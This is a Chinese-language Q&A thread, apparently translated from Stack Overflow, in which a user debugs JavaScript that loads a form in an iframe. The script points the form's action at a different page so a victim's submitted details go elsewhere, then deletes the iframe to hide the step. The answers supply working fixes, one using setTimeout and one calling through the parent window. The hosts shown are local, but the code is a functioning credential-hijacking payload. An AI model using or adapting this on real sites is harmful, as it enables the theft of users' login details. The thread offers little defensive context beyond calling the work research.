1

作为我正在做的一些 XSS 研究的一部分,我正在尝试使用更改的表单操作生成一个 iframe,然后在受害者提交他们的详细信息后关闭 iframe。到目前为止,我有以下代码:

<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;  
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">

该代码仍将表单详细信息发布到 php 页面;但是,之后它无法关闭 iframe。我知道 iframe 删除代码可以工作,就好像我自己尝试它一样工作。因此,要么与脚本的逻辑流程有关,要么 setAttribute 行没有按应有的方式工作。谁能阐明我哪里出错了?谢谢!

4

2 回答 2

2

可能有更好的方法来做到这一点,但我发现一个解决方法是暂停 deleteIframe 函数,通过setTimeout(). 我发现只需 5 毫秒就足以成功发布表单详细信息 :)

function deleteIframeTimer(){
var t = setTimeout("deleteIframe()", 5);
}

function deleteIframe() {
var iframe = parent.document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}

非常感谢杰森的parent小费!

于 2012-05-18T12:19:29.563 回答
1

这只是一个猜测,没有运行你的代码

form[0].setAttribute("onSubmit", "parent.deleteIframe()");

我的猜测是 iframe 不能直接访问父窗口,所以你需要parent

于 2012-05-18T11:25:35.640 回答